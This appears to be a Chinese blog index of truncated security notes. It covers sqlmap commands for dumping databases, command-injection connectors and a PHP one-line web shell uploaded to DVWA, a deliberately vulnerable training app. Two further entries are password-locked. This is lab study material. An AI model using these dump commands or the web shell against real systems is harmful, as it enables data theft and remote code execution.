sqlmap基本语法 NOTES
sqlmap -u "url" --dbs
跑数据库
sqlmap -u "url" --tables
跑数据表
sqlmap -u "url" --columns -T "表名"
跑出表字段
sqlmap -u "url" --dump -T "表名" -C "需要跑的字段"
跑字段里面内容
-r 指定文件
-u 指定url
-D 指定数据库
-T 指定...
DVWA Command Injection 命令行注入分析与利用 NOTES
关于命令连接符介绍:
command1 && command2 先执行command1后执行command2
command1 | command2 只执行command2
command1 & command2 先执行command2后执行command1
以上三种连接符在windows和linux环境下都支持
L...
DVWA File Upload 文件上传分析与利用 NOTES
Low级别:
没有对上传文件类型进行任何限制,直接上传一个php,```PHP
<? eval($REQUEST['a']); ?>

上传成功后,还告知了我们路径,直接拼接起来访问执行个phpinf...
xfsh jenkins.sh NOTES
[该文章已加密,请点击标题输入密码访问]
美区苹果appleID NOTES
[该文章已加密,请点击标题输入密码访问]